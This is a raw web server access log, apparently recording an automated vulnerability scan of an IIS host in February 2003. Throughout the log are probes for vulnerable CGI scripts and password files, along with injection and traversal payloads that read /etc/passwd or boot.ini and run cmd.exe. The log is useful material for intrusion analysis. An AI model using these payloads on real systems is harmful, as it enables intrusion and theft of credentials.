2003-02-05 16:25:15 192.168.0.68 - 192.168.0.6 80 GET /cfdocs/examples/parks/detail.cfm - 404 -
2003-02-05 16:25:18 192.168.0.68 - 192.168.0.6 80 GET /cgi/php - 404 -
2003-02-05 16:25:18 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/perl - 404 -
2003-02-05 16:25:22 192.168.0.68 - 192.168.0.6 80 GET /_private/orders.htm - 403 -
2003-02-05 16:25:22 192.168.0.68 - 192.168.0.6 80 GET /_vti_bin/_vti_adm/admin.dll - 200 -
2003-02-05 16:25:22 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/phf - 404 -
2003-02-05 16:25:23 192.168.0.68 - 192.168.0.6 80 GET /vti_pvt/administrators.pwd - 404 -
2003-02-05 16:25:24 192.168.0.68 - 192.168.0.6 80 GET /cgi/perl - 404 -
2003-02-05 16:25:26 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/snorkerz.cmd - 404 -
2003-02-05 16:25:28 192.168.0.68 - 192.168.0.6 80 GET /cgi/phf - 404 -
2003-02-05 16:25:28 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/jj - 404 -
2003-02-05 16:25:29 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/filemail.cgi - 404 -
2003-02-05 16:25:31 192.168.0.68 - 192.168.0.6 80 GET /cgi/snorkerz.cmd - 404 -
2003-02-05 16:25:31 192.168.0.68 - 192.168.0.6 80 GET /WebShop/logs/cc.txt - 404 -
2003-02-05 16:25:34 192.168.0.68 - 192.168.0.6 80 GET /cgi/jj - 404 -
2003-02-05 16:25:34 192.168.0.68 - 192.168.0.6 80 GET /PDG_Cart/order.log - 404 -
2003-02-05 16:25:35 192.168.0.68 - 192.168.0.6 80 GET /cgi/filemail.cgi - 404 -
2003-02-05 16:25:38 192.168.0.68 - 192.168.0.6 80 GET /scripts/wa.exe - 404 -
2003-02-05 16:25:38 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/whois_raw.cgi - 404 -
2003-02-05 16:25:40 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/w3tvars.pm - 404 -
2003-02-05 16:25:40 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/poll.cgi - 404 -
2003-02-05 16:25:41 192.168.0.68 - 192.168.0.6 80 GET /WebShop/logs/ck.log - 404 -
2003-02-05 16:25:44 192.168.0.68 - 192.168.0.6 80 GET /cgi/whois_raw.cgi - 404 -
2003-02-05 16:25:44 192.168.0.68 - 192.168.0.6 80 GET /scripts/cart32.exe - 404 -
2003-02-05 16:25:47 192.168.0.68 - 192.168.0.6 80 GET /cgi/w3tvars.pm - 404 -
2003-02-05 16:25:47 192.168.0.68 - 192.168.0.6 80 GET /cgi/poll.cgi - 404 -
2003-02-05 16:25:49 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/snorkerz.bat - 404 -
2003-02-05 16:25:50 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/pfdisplay.cgi - 404 -
2003-02-05 16:25:50 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/form.cgi - 404 -
2003-02-05 16:25:52 192.168.0.68 - 192.168.0.6 80 GET /cfdocs/expeval/sendmail.cfm - 404 -
2003-02-05 16:25:52 192.168.0.68 - 192.168.0.6 80 GET /http:/

http://www.sux.com

- 404 -
2003-02-05 16:25:55 192.168.0.68 - 192.168.0.6 80 GET /cgi/snorkerz.bat - 404 -
2003-02-05 16:25:57 192.168.0.68 - 192.168.0.6 80 GET /cgi/pfdisplay.cgi - 404 -
2003-02-05 16:25:57 192.168.0.68 - 192.168.0.6 80 GET /cgi/form.cgi - 404 -
2003-02-05 16:26:00 192.168.0.68 - 192.168.0.6 80 GET - - 501 -
2003-02-05 16:26:00 192.168.0.68 - 192.168.0.6 80 GET - - 501 -
2003-02-05 16:26:00 192.168.0.68 - 192.168.0.6 80 GET /_vti_bin/shtml.dll - 200 -
2003-02-05 16:26:00 192.168.0.68 - 192.168.0.6 80 GET - - 501 -
2003-02-05 16:26:02 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/webdist.cgi distloc=;cat%20/etc/passwd 404 -
2003-02-05 16:26:02 192.168.0.68 - 192.168.0.6 80 GET /img - 404 -
2003-02-05 16:26:02 192.168.0.68 - 192.168.0.6 80 GET /cfdocs/mole.cfm - 404 -
2003-02-05 16:26:03 192.168.0.68 - 192.168.0.6 80 GET /iishelp/iis/misc/iirturnh.htwa - 403 -
2003-02-05 16:26:03 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/fpexplore.exe - 404 -
2003-02-05 16:26:08 192.168.0.68 - 192.168.0.6 80 GET /cgi/webdist.cgi distloc=;cat%20/etc/passwd 404 -
2003-02-05 16:26:09 192.168.0.68 - 192.168.0.6 80 GET /admin-serv/config/admpw - 404 -
2003-02-05 16:26:09 192.168.0.68 - 192.168.0.6 80 GET /cfdocs/expelval/displayopenedfile.cfm - 404 -
2003-02-05 16:26:10 192.168.0.68 - 192.168.0.6 80 GET /cgi/fpexplore.exe - 404 -
2003-02-05 16:26:10 192.168.0.68 - 192.168.0.6 80 GET /carbo.dll - 404 -
2003-02-05 16:26:13 192.168.0.68 - 192.168.0.6 80 GET /Orders/order.log - 404 -
2003-02-05 16:26:15 192.168.0.68 - 192.168.0.6 80 GET /orders/order.log - 404 -
2003-02-05 16:26:15 192.168.0.68 - 192.168.0.6 80 GET /com3 - 404 -
2003-02-05 16:26:17 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/printenv - 404 -
2003-02-05 16:26:17 192.168.0.68 - 192.168.0.6 80 GET /com2 - 404 -
2003-02-05 16:26:20 192.168.0.68 - 192.168.0.6 80 GET /com1 - 404 -
2003-02-05 16:26:21 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/webgais - 404 -
2003-02-05 16:26:21 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/sendform.cgi - 404 -
2003-02-05 16:26:21 192.168.0.68 - 192.168.0.6 80 GET /cgi/printenv - 404 -
2003-02-05 16:26:24 192.168.0.68 - 192.168.0.6 80 GET /_vti_bin/shtml.dll - 200 -
2003-02-05 16:26:25 192.168.0.68 - 192.168.0.6 80 GET /cfdocs/exampleapp/email/getfile.cfm filename=c:\boot.ini 404 -
2003-02-05 16:26:27 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/bb-hist.sh - 404 -
2003-02-05 16:26:27 192.168.0.68 - 192.168.0.6 80 GET /cgi/webgais - 404 -
2003-02-05 16:26:27 192.168.0.68 - 192.168.0.6 80 GET /cgi/sendform.cgi - 404 -
2003-02-05 16:26:29 192.168.0.68 - 192.168.0.6 80 GET /campas - 404 -
2003-02-05 16:26:31 192.168.0.68 - 192.168.0.6 80 GET - - 501 -
2003-02-05 16:26:31 192.168.0.68 - 192.168.0.6 80 GET - - 501 -
2003-02-05 16:26:31 192.168.0.68 - 192.168.0.6 80 GET - - 501 -
2003-02-05 16:26:31 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/ppdscgi.exe - 404 -
2003-02-05 16:26:33 192.168.0.68 - 192.168.0.6 80 GET /cgi/bb-hist.sh - 404 -
2003-02-05 16:26:34 192.168.0.68 - 192.168.0.6 80 GET /_vti_pvt/writeto.cnf - 403 -
2003-02-05 16:26:34 192.168.0.68 - 192.168.0.6 80 GET /Admin_files/order.log - 404 -
2003-02-05 16:26:35 192.168.0.68 - 192.168.0.6 80 GET /scripts/c32web.exe - 404 -
2003-02-05 16:26:37 192.168.0.68 - 192.168.0.6 80 GET /cgi/ppdscgi.exe - 404 -
2003-02-05 16:26:38 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/nph-test-cgi * 404 -
2003-02-05 16:26:39 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/plusmail - 404 -
2003-02-05 16:26:39 192.168.0.68 - 192.168.0.6 80 GET /eatme.idw - 404 -
2003-02-05 16:26:40 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/webmap.cgi - 404 -
2003-02-05 16:26:41 192.168.0.68 - 192.168.0.6 80 GET /mkstats - 404 -
2003-02-05 16:26:41 192.168.0.68 - 192.168.0.6 80 GET /cgi/nph-test-cgi * 404 -
2003-02-05 16:26:44 192.168.0.68 - 192.168.0.6 80 GET /cgi/plusmail - 404 -
2003-02-05 16:26:44 192.168.0.68 - 192.168.0.6 80 GET /unlg1.1 - 404 -
2003-02-05 16:26:44 192.168.0.68 - 192.168.0.6 80 GET /cgi/webmap.cgi - 404 -
2003-02-05 16:26:46 192.168.0.68 - 192.168.0.6 80 GET /CFIDE/Administrator/startstop.html - 404 -
2003-02-05 16:26:48 192.168.0.68 - 192.168.0.6 80 GET /eatme.idq - 200 -
2003-02-05 16:26:48 192.168.0.68 - 192.168.0.6 80 GET /info - 404 -
2003-02-05 16:26:49 192.168.0.68 - 192.168.0.6 80 GET /rguest.exe - 404 -
2003-02-05 16:26:49 192.168.0.68 - 192.168.0.6 80 GET /ssi/envout.bat - 404 -
2003-02-05 16:26:49 192.168.0.68 - 192.168.0.6 80 GET /eatme.idc - 404 -
2003-02-05 16:26:51 192.168.0.68 - 192.168.0.6 80 GET /IISADMPWD/aexp2b.htr - 200 -
2003-02-05 16:26:52 192.168.0.68 - 192.168.0.6 80 GET /IISADMPWD/aexp4b.htr - 200 -
2003-02-05 16:26:52 192.168.0.68 - 192.168.0.6 80 GET /eatme.ida - 200 -
2003-02-05 16:26:52 192.168.0.68 - 192.168.0.6 80 GET /samples/search/queryhit.htm - 404 -
2003-02-05 16:26:53 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/archie - 404 -
2003-02-05 16:26:53 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/tpgnrock - 404 -
2003-02-05 16:26:54 192.168.0.68 - 192.168.0.6 80 GET /scripts/repost.asp |-|0|404_Object_Not_Found 404 -
2003-02-05 16:26:54 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/handler - 404 -
2003-02-05 16:26:58 192.168.0.68 - 192.168.0.6 80 GET /cgi/archie - 404 -
2003-02-05 16:26:58 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/imagemap.exe - 404 -
2003-02-05 16:26:58 192.168.0.68 - 192.168.0.6 80 GET /cgi/tpgnrock - 404 -
2003-02-05 16:27:00 192.168.0.68 - 192.168.0.6 80 GET /status.cgi - 404 -
2003-02-05 16:27:00 192.168.0.68 - 192.168.0.6 80 GET /cgi/handler - 404 -
2003-02-05 16:27:02 192.168.0.68 - 192.168.0.6 80 GET /cgi/imagemap.exe - 404 -
2003-02-05 16:27:02 192.168.0.68 - 192.168.0.6 80 GET /scripts/..%5c..%5cwinnt/system32/cmd.exe %2FC+echo+\"hacked!\">c:\\hello.bat 500 -
2003-02-05 16:27:03 192.168.0.68 - 192.168.0.6 80 GET - - 501 -
2003-02-05 16:27:03 192.168.0.68 - 192.168.0.6 80 GET - - 501 -
2003-02-05 16:27:03 192.168.0.68 - 192.168.0.6 80 GET - - 501 -
2003-02-05 16:27:03 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/input.bat - 404 -
2003-02-05 16:27:03 192.168.0.68 - 192.168.0.6 80 GET /system - 404 -
2003-02-05 16:27:05 192.168.0.68 - 192.168.0.6 80 GET /........ - 404 -
2003-02-05 16:27:05 192.168.0.68 - 192.168.0.6 80 GET /default.asp |-|0|404_Object_Not_Found 404 -
2003-02-05 16:27:05 192.168.0.68 - 192.168.0.6 80 GET /classifieds.cgi - 404 -
2003-02-05 16:27:07 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/tablebuild.pl - 404 -
2003-02-05 16:27:09 192.168.0.68 - 192.168.0.6 80 GET /cgi/input.bat - 404 -
2003-02-05 16:27:09 192.168.0.68 - 192.168.0.6 80 GET /update.pl - 404 -
2003-02-05 16:27:10 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/ax-admin.cgi - 404 -
2003-02-05 16:27:10 192.168.0.68 - 192.168.0.6 80 GET /cfdocs/exampleapp/email/getfile.cfm - 404 -
2003-02-05 16:27:13 192.168.0.68 - 192.168.0.6 80 GET /cgi/tablebuild.pl - 404 -
2003-02-05 16:27:14 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/LWGate - 404 -
2003-02-05 16:27:15 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/wrap.cgi - 404 -
2003-02-05 16:27:15 192.168.0.68 - 192.168.0.6 80 GET /cgi/ax-admin.cgi - 404 -
2003-02-05 16:27:16 192.168.0.68 - 192.168.0.6 80 GET /log.shtml <B>Failed+to+process+SSI+file+'/log.shtml'</B><BR>++ 200 -
2003-02-05 16:27:16 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/pfdispaly.cgi - 404 -
2003-02-05 16:27:17 192.168.0.68 - 192.168.0.6 80 GET /photoads - 404 -
2003-02-05 16:27:17 192.168.0.68 - 192.168.0.6 80 GET /cgi/LWGate - 404 -
2003-02-05 16:27:18 192.168.0.68 - 192.168.0.6 80 GET /cgi/wrap.cgi - 404 -
2003-02-05 16:27:20 192.168.0.68 - 192.168.0.6 80 GET /cgi-bib/everythingform - 404 -
2003-02-05 16:27:22 192.168.0.68 - 192.168.0.6 80 GET /cgi/pfdispaly.cgi - 404 -
2003-02-05 16:27:22 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/nlog-smb.cgi - 404 -
2003-02-05 16:27:23 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/cgiback.cgi - 404 -
2003-02-05 16:27:23 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/formnow.cgi - 404 -
2003-02-05 16:27:26 192.168.0.68 - 192.168.0.6 80 GET /scripts/iisadmin/ism.dll http/dir 500 -
2003-02-05 16:27:26 192.168.0.68 - 192.168.0.6 80 GET /_vti_pvt/admin.pwd - 403 -
2003-02-05 16:27:27 192.168.0.68 - 192.168.0.6 80 GET /cmd.exe %2FC+echo+\"hacked!\">c:\\hello.bat 404 -
2003-02-05 16:27:27 192.168.0.68 - 192.168.0.6 80 GET /cgi/nlog-smb.cgi - 404 -
2003-02-05 16:27:27 192.168.0.68 - 192.168.0.6 80 GET /cgi/cgiback.cgi - 404 -
2003-02-05 16:27:29 192.168.0.68 - 192.168.0.6 80 GET /cgi/formnow.cgi - 404 -
2003-02-05 16:27:32 192.168.0.68 - 192.168.0.6 80 GET - - 501 -
2003-02-05 16:27:32 192.168.0.68 - 192.168.0.6 80 GET /update.cgi - 404 -
2003-02-05 16:27:32 192.168.0.68 - 192.168.0.6 80 GET - - 501 -
2003-02-05 16:27:32 192.168.0.68 - 192.168.0.6 80 GET - - 501 -
2003-02-05 16:27:32 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/tigvote.cgi - 404 -
2003-02-05 16:27:32 192.168.0.68 - 192.168.0.6 80 GET /orders/mountain.cfg - 404 -
2003-02-05 16:27:34 192.168.0.68 - 192.168.0.6 80 GET /cfappman/index.cfm - 404 -
2003-02-05 16:27:34 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/architext_query.pl - 404 -
2003-02-05 16:27:37 192.168.0.68 - 192.168.0.6 80 GET /cgi/tigvote.cgi - 404 -
2003-02-05 16:27:37 192.168.0.68 - 192.168.0.6 80 GET /log.htm - 404 -
2003-02-05 16:27:37 192.168.0.68 - 192.168.0.6 80 GET /_vti_pvt/service.cnf - 403 -
2003-02-05 16:27:38 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/cvsweb/src/usr.bin/rdist/expand.c - 404 -
2003-02-05 16:27:38 192.168.0.68 - 192.168.0.6 80 GET /cgi/architext_query.pl - 404 -
2003-02-05 16:27:43 192.168.0.68 - 192.168.0.6 80 GET /logs - 404 -
2003-02-05 16:27:43 192.168.0.68 - 192.168.0.6 80 GET /..../Windows/Admin.pwl - 404 -
2003-02-05 16:27:43 192.168.0.68 - 192.168.0.6 80 GET /cgi/cvsweb/src/usr.bin/rdist/expand.c - 404 -
2003-02-05 16:27:44 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/files.pl - 404 -
2003-02-05 16:27:44 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/unlg1.1 - 404 -
2003-02-05 16:27:44 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/unlg1.2 - 404 -
2003-02-05 16:27:47 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/passwd.txt - 404 -
2003-02-05 16:27:47 192.168.0.68 - 192.168.0.6 80 GET /cgi/files.pl - 404 -
2003-02-05 16:27:47 192.168.0.68 - 192.168.0.6 80 GET /cgi/unlg1.1 - 404 -
2003-02-05 16:27:48 192.168.0.68 - 192.168.0.6 80 GET /cgi/unlg1.2 - 404 -
2003-02-05 16:27:48 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/man.sh - 404 -
2003-02-05 16:27:52 192.168.0.68 - 192.168.0.6 80 GET /cgi/passwd.txt - 404 -
2003-02-05 16:27:52 192.168.0.68 - 192.168.0.6 80 GET /cgi/man.sh - 404 -
2003-02-05 16:27:52 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/day5datacopier.cgi - 404 -
2003-02-05 16:27:53 192.168.0.68 - 192.168.0.6 80 GET /logs.html - 404 -
2003-02-05 16:27:53 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/info2

http://www -

404 -
2003-02-05 16:27:57 192.168.0.68 - 192.168.0.6 80 GET /faxsurvey - 404 -
2003-02-05 16:27:57 192.168.0.68 - 192.168.0.6 80 GET /cgi/day5datacopier.cgi - 404 -
2003-02-05 16:27:57 192.168.0.68 - 192.168.0.6 80 GET /cgi/info2

http://www -

404 -
2003-02-05 16:27:57 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/icat - 404 -
2003-02-05 16:27:58 192.168.0.68 - 192.168.0.6 80 GET /__vti_inf.html - 404 -
2003-02-05 16:28:02 192.168.0.68 - 192.168.0.6 80 GET /cgi/icat - 404 -
2003-02-05 16:28:02 192.168.0.68 - 192.168.0.6 80 GET /srchadm - 404 -
2003-02-05 16:28:02 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/webbbs.cgi - 404 -
2003-02-05 16:28:02 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/bulk/bulk.cgi - 404 -
2003-02-05 16:28:03 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/

http://wwwadmin.pl

- 404 -
2003-02-05 16:28:08 192.168.0.68 - 192.168.0.6 80 GET /cgi/webbbs.cgi - 404 -
2003-02-05 16:28:08 192.168.0.68 - 192.168.0.6 80 GET /cgi/bulk/bulk.cgi - 404 -
2003-02-05 16:28:08 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/meta.pl - 404 -
2003-02-05 16:28:08 192.168.0.68 - 192.168.0.6 80 GET /iisadmpwd/aexp.htr - 200 -
2003-02-05 16:28:08 192.168.0.68 - 192.168.0.6 80 GET /cgi/

http://wwwadmin.pl

- 404 -
2003-02-05 16:28:09 192.168.0.68 - 192.168.0.6 80 GET /IISADMPWD/aexp2.htr - 200 -
2003-02-05 16:28:09 192.168.0.68 - 192.168.0.6 80 GET /IISADMPWD/aexp3.htr - 200 -
2003-02-05 16:28:11 192.168.0.68 - 192.168.0.6 80 GET /IISADMPWD/aexp4.htr - 200 -
2003-02-05 16:28:11 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/guestbook.pl - 404 -
2003-02-05 16:28:12 192.168.0.68 - 192.168.0.6 80 GET /cgi/meta.pl - 404 -
2003-02-05 16:28:12 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/gH.cgi - 404 -
2003-02-05 16:28:12 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/guestbook.cgi - 404 -
2003-02-05 16:28:14 192.168.0.68 - 192.168.0.6 80 GET /uploader.exe - 404 -
2003-02-05 16:28:17 192.168.0.68 - 192.168.0.6 80 GET /cgi/guestbook.pl - 404 -
2003-02-05 16:28:18 192.168.0.68 - 192.168.0.6 80 GET /cgi/gH.cgi - 404 -
2003-02-05 16:28:18 192.168.0.68 - 192.168.0.6 80 GET /cgi/guestbook.cgi - 404 -
2003-02-05 16:28:18 192.168.0.68 - 192.168.0.6 80 GET /redirect.cgi - 404 -
2003-02-05 16:28:19 192.168.0.68 - 192.168.0.6 80 GET /python - 404 -
2003-02-05 16:28:21 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/stats.prg - 404 -
2003-02-05 16:28:23 192.168.0.68 - 192.168.0.6 80 GET /global - 404 -
2003-02-05 16:28:23 192.168.0.68 - 192.168.0.6 80 GET /msadc/msadcs.dll - 403 -
2003-02-05 16:28:23 192.168.0.68 - 192.168.0.6 80 GET /wguest.exe - 404 -
2003-02-05 16:28:25 192.168.0.68 - 192.168.0.6 80 GET /scripts/iisadmin/samples/register.htx - 403 -
2003-02-05 16:28:27 192.168.0.68 - 192.168.0.6 80 GET /cgi/stats.prg - 404 -
2003-02-05 16:28:29 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/stats.cgi - 404 -
2003-02-05 16:28:29 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/input2.bat - 404 -
2003-02-05 16:28:29 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/dfire.cgi - 404 -
2003-02-05 16:28:31 192.168.0.68 - 192.168.0.6 80 GET /blabla.idw - 404 -
2003-02-05 16:28:32 192.168.0.68 - 192.168.0.6 80 GET /edit.pl - 404 -
2003-02-05 16:28:34 192.168.0.68 - 192.168.0.6 80 GET /cgi/stats.cgi - 404 -
2003-02-05 16:28:34 192.168.0.68 - 192.168.0.6 80 GET /cgi/input2.bat - 404 -
2003-02-05 16:28:34 192.168.0.68 - 192.168.0.6 80 GET /cgi/dfire.cgi - 404 -
2003-02-05 16:28:36 192.168.0.68 - 192.168.0.6 80 GET /blabla.idq - 200 -
2003-02-05 16:28:36 192.168.0.68 - 192.168.0.6 80 GET /scripts/iisadmin/samples/register.idc - 404 -
2003-02-05 16:28:38 192.168.0.68 - 192.168.0.6 80 GET /code - 404 -
2003-02-05 16:28:38 192.168.0.68 - 192.168.0.6 80 GET /winnt/system32/cmd.exe /c%20dir 404 -
2003-02-05 16:28:39 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/post_query - 404 -
2003-02-05 16:28:40 192.168.0.68 - 192.168.0.6 80 GET /WebSTART+LOG - 404 -
2003-02-05 16:28:40 192.168.0.68 - 192.168.0.6 80 GET /misc - 404 -
2003-02-05 16:28:43 192.168.0.68 - 192.168.0.6 80 GET /scripts/visadmin.exe - 404 -
2003-02-05 16:28:43 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/FormHandler.cgi - 404 -
2003-02-05 16:28:43 192.168.0.68 - 192.168.0.6 80 GET /cgi/post_query - 404 -
2003-02-05 16:28:45 192.168.0.68 - 192.168.0.6 80 GET /backup - 404 -
2003-02-05 16:28:45 192.168.0.68 - 192.168.0.6 80 GET /iissamples/exair/search/advsearch.asp - 403 -
2003-02-05 16:28:48 192.168.0.68 - 192.168.0.6 80 GET /cgi/FormHandler.cgi - 404 -
2003-02-05 16:28:48 192.168.0.68 - 192.168.0.6 80 GET /blabla.idc - 404 -
2003-02-05 16:28:49 192.168.0.68 - 192.168.0.6 80 GET /blabla.ida - 200 -
2003-02-05 16:28:49 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/AT-admin.cgi - 404 -
2003-02-05 16:28:49 192.168.0.68 - 192.168.0.6 80 GET /nph-test-cgi - 404 -
2003-02-05 16:28:50 192.168.0.68 - 192.168.0.6 80 GET /admin.html - 404 -
2003-02-05 16:28:50 192.168.0.68 - 192.168.0.6 80 GET /webmaster_logs - 404 -
2003-02-05 16:28:53 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/webdist.cgi - 404 -
2003-02-05 16:28:53 192.168.0.68 - 192.168.0.6 80 GET /cgi/AT-admin.cgi - 404 -
2003-02-05 16:28:56 192.168.0.68 - 192.168.0.6 80 GET /htmlscript - 404 -
2003-02-05 16:28:56 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/statsconfig - 404 -
2003-02-05 16:28:56 192.168.0.68 - 192.168.0.6 80 GET /images/ - 302 -
2003-02-05 16:28:57 192.168.0.68 - 192.168.0.6 80 GET /development - 404 -
2003-02-05 16:28:59 192.168.0.68 - 192.168.0.6 80 GET /cgi/webdist.cgi - 404 -
2003-02-05 16:29:00 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/view-source ../../../../etc/passwd 404 -
2003-02-05 16:29:00 192.168.0.68 - 192.168.0.6 80 GET /cgi/statsconfig - 404 -
2003-02-05 16:29:01 192.168.0.68 - 192.168.0.6 80 GET /winnt/system32/cmd.exe - 404 -
2003-02-05 16:29:03 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/webwho.pl - 404 -
2003-02-05 16:29:04 192.168.0.68 - 192.168.0.6 80 GET /cgi-win - 404 -
2003-02-05 16:29:04 192.168.0.68 - 192.168.0.6 80 GET /cgi/view-source ../../../../etc/passwd 404 -
2003-02-05 16:29:06 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/UltraBoard.pl - 404 -
2003-02-05 16:29:06 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/dnewsweb - 404 -
2003-02-05 16:29:07 192.168.0.68 - 192.168.0.6 80 GET /cgi/webwho.pl - 404 -
2003-02-05 16:29:09 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/wrap /../../../../../etc 404 -
2003-02-05 16:29:09 192.168.0.68 - 192.168.0.6 80 GET /test/test.cgi - 404 -
2003-02-05 16:29:10 192.168.0.68 - 192.168.0.6 80 GET /cgi/UltraBoard.pl - 404 -
2003-02-05 16:29:10 192.168.0.68 - 192.168.0.6 80 GET /cgi/dnewsweb - 404 -
2003-02-05 16:29:13 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/.fhp - 404 -
2003-02-05 16:29:15 192.168.0.68 - 192.168.0.6 80 GET /cgi/wrap /../../../../../etc 404 -
2003-02-05 16:29:16 192.168.0.68 - 192.168.0.6 80 GET /_vti_bin/root.exe /c%20dir 404 -
2003-02-05 16:29:16 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/test-cgi.tcl - 404 -
2003-02-05 16:29:17 192.168.0.68 - 192.168.0.6 80 GET /activex - 404 -
2003-02-05 16:29:17 192.168.0.68 - 192.168.0.6 80 GET /cgi/.fhp - 404 -
2003-02-05 16:29:20 192.168.0.68 - 192.168.0.6 80 GET /cfdocs/expelval/exprcalc.cfm - 404 -
2003-02-05 16:29:22 192.168.0.68 - 192.168.0.6 80 GET /tools/newdsn.exe - 404 -
2003-02-05 16:29:22 192.168.0.68 - 192.168.0.6 80 GET /cgi/test-cgi.tcl - 404 -
2003-02-05 16:29:23 192.168.0.68 - 192.168.0.6 80 GET /iissamples/sdk/asp/docs/codebrws.asp - 403 -
2003-02-05 16:29:23 192.168.0.68 - 192.168.0.6 80 GET /lpt - 404 -
2003-02-05 16:29:24 192.168.0.68 - 192.168.0.6 80 GET /cgi-dos/args.cmd - 404 -
2003-02-05 16:29:26 192.168.0.68 - 192.168.0.6 80 GET /photoads/cgi-bin - 404 -
2003-02-05 16:29:26 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/AT-generate.cgi - 404 -
2003-02-05 16:29:28 192.168.0.68 - 192.168.0.6 80 GET /iisstart.asp - 200 -
2003-02-05 16:29:28 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/get32.exe - 404 -
2003-02-05 16:29:30 192.168.0.68 - 192.168.0.6 80 GET /admin - 404 -
2003-02-05 16:29:30 192.168.0.68 - 192.168.0.6 80 GET /scripts/submit.cgi - 404 -
2003-02-05 16:29:32 192.168.0.68 - 192.168.0.6 80 GET /cgi/AT-generate.cgi - 404 -
2003-02-05 16:29:32 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/data/nicks - 404 -
2003-02-05 16:29:34 192.168.0.68 - 192.168.0.6 80 GET /cgi/get32.exe - 404 -
2003-02-05 16:29:35 192.168.0.68 - 192.168.0.6 80 GET /cgi-dos/args.bat - 404 -
2003-02-05 16:29:35 192.168.0.68 - 192.168.0.6 80 GET /scripts/iisadmin/samples/ctgestb.htx - 403 -
2003-02-05 16:29:37 192.168.0.68 - 192.168.0.6 80 GET /cgi/data/nicks - 404 -
2003-02-05 16:29:37 192.168.0.68 - 192.168.0.6 80 GET /vti_pvt/service.pwd - 404 -
2003-02-05 16:29:39 192.168.0.68 - 192.168.0.6 80 GET /....../......ida/con - 404 -
2003-02-05 16:29:39 192.168.0.68 - 192.168.0.6 80 GET /java - 404 -
2003-02-05 16:29:41 192.168.0.68 - 192.168.0.6 80 GET /cfdocs/snippets/viewexample.cfm - 404 -
2003-02-05 16:29:41 192.168.0.68 - 192.168.0.6 80 GET /winnt/system32/cmd.exe - 404 -
2003-02-05 16:29:41 192.168.0.68 - 192.168.0.6 80 GET /includes - 404 -
2003-02-05 16:29:43 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/day5datanotifier.cgi - 404 -
2003-02-05 16:29:45 192.168.0.68 - 192.168.0.6 80 GET /.html/............./config.sys - 404 -
2003-02-05 16:29:47 192.168.0.68 - 192.168.0.6 80 GET /webdist.cgi - 404 -
2003-02-05 16:29:47 192.168.0.68 - 192.168.0.6 80 GET /cgi/day5datanotifier.cgi - 404 -
2003-02-05 16:29:47 192.168.0.68 - 192.168.0.6 80 GET /_vti_pvt/access.cnf - 403 -
2003-02-05 16:29:47 192.168.0.68 - 192.168.0.6 80 GET /save - 404 -
2003-02-05 16:29:51 192.168.0.68 - 192.168.0.6 80 GET /cgi-bin/campas %0acat%0a/etc/passwd%0a 404 -
